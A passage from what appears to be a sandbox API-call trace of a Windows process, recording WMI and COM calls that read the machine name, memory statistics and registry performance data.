wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0261.141] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0261.142] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0261.142] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0261.142] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0261.142] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0261.142] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0261.142] IUnknown:Release (This=0x4b0108) returned 0x1 [0261.143] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d496ce0) returned 0x0 [0261.144] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d496ce0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0261.144] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d496ce0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3c40) returned 0x0 [0261.144] WbemDefPath:IUnknown:Release (This=0x1d496ce0) returned 0x0 [0261.144] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3c40) returned 0x0 [0261.144] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0261.144] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0261.144] WbemDefPath:IUnknown:AddRef (This=0x4f3c40) returned 0x3 [0261.144] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0261.144] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0261.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d496ee0) returned 0x0 [0261.145] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d496ee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0261.145] WbemDefPath:IUnknown:Release (This=0x1d496ee0) returned 0x3 [0261.145] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0261.145] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0261.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0261.145] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x2 [0261.145] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x1 [0261.145] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0261.145] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0261.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3c40) returned 0x0 [0261.145] WbemDefPath:IUnknown:AddRef (This=0x4f3c40) returned 0x3 [0261.145] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x2 [0261.146] WbemDefPath:IWbemPath:SetText (This=0x4f3c40, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0261.146] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0261.146] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0261.146] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.146] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0261.146] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0261.146] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.146] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cac00*=0, plFlavor=0x29cac04*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x29cac00*=21, plFlavor=0x29cac04*=0) returned 0x0 [0261.146] SysStringByteLen (bstr="1395304") returned 0xe [0261.146] SysStringByteLen (bstr="1395304") returned 0xe [0261.146] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cac00*=21, plFlavor=0x29cac04*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x29cac00*=21, plFlavor=0x29cac04*=0) returned 0x0 [0261.146] SysStringByteLen (bstr="1395304") returned 0xe [0261.146] SysStringByteLen (bstr="1395304") returned 0xe [0261.147] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0261.147] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0261.147] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.147] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cadf8*=0, plFlavor=0x29cadfc*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x29cadf8*=21, plFlavor=0x29cadfc*=0) returned 0x0 [0261.147] SysStringByteLen (bstr="2096620") returned 0xe [0261.147] SysStringByteLen (bstr="2096620") returned 0xe [0261.147] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cadf8*=21, plFlavor=0x29cadfc*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x29cadf8*=21, plFlavor=0x29cadfc*=0) returned 0x0 [0261.147] SysStringByteLen (bstr="2096620") returned 0xe [0261.147] SysStringByteLen (bstr="2096620") returned 0xe [0261.148] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0261.148] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x1 [0261.148] IUnknown:Release (This=0x1d35ae90) returned 0x0 [0263.326] GetTickCount64 () returned 0xab8b79 [0263.327] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0263.327] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x282f5f8, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x282f5f8*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0263.329] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0263.330] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2840a10, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2840a10*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0263.333] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0263.333] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0263.333] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0263.333] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0263.333] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0263.333] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0263.333] IUnknown:Release (This=0x4b0108) returned 0x1 [0263.334] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496d20) returned 0x0 [0263.334] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0263.334] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496d20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d496f60) returned 0x0 [0263.334] WbemLocator:IUnknown:Release (This=0x1d496d20) returned 0x0 [0263.334] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d496f60) returned 0x0 [0263.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0263.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0263.335] WbemLocator:IUnknown:AddRef (This=0x1d496f60) returned 0x3 [0263.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0263.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0263.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0263.335] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0263.335] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0263.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0263.335] WbemLocator:IUnknown:Release (This=0x1d496f60) returned 0x2 [0263.335] WbemLocator:IUnknown:Release (This=0x1d496f60) returned 0x1 [0263.335] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0263.335] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0263.335] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d496f60) returned 0x0 [0263.335] WbemLocator:IUnknown:AddRef (This=0x1d496f60) returned 0x3 [0263.335] WbemLocator:IUnknown:Release (This=0x1d496f60) returned 0x2 [0263.336] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0263.336] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0263.336] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0263.336] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d496de0) returned 0x0 [0263.336] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d496de0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d4755c0) returned 0x0 [0263.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4755c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b351b60) returned 0x0 [0263.367] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351b60, pProxy=0x1d4755c0, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0263.367] WbemLocator:IUnknown:Release (This=0x1b351b60) returned 0x1 [0263.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4755c0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b351ba8) returned 0x0 [0263.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4755c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b351b60) returned 0x0 [0263.367] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351b60, pProxy=0x1d4755c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0263.367] WbemLocator:IUnknown:Release (This=0x1b351b60) returned 0x2 [0263.367] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0263.367] CoTaskMemFree (pv=0x1d470c00) [0263.368] WbemLocator:IUnknown:Release (This=0x1d496de0) returned 0x0 [0263.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4755c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b351ba8) returned 0x0 [0263.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0263.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0263.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4755c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0263.369] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0263.370] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0263.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0263.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351a88) returned 0x0 [0263.372] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351a88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0263.372] WbemLocator:IUnknown:Release (This=0x1b351a88) returned 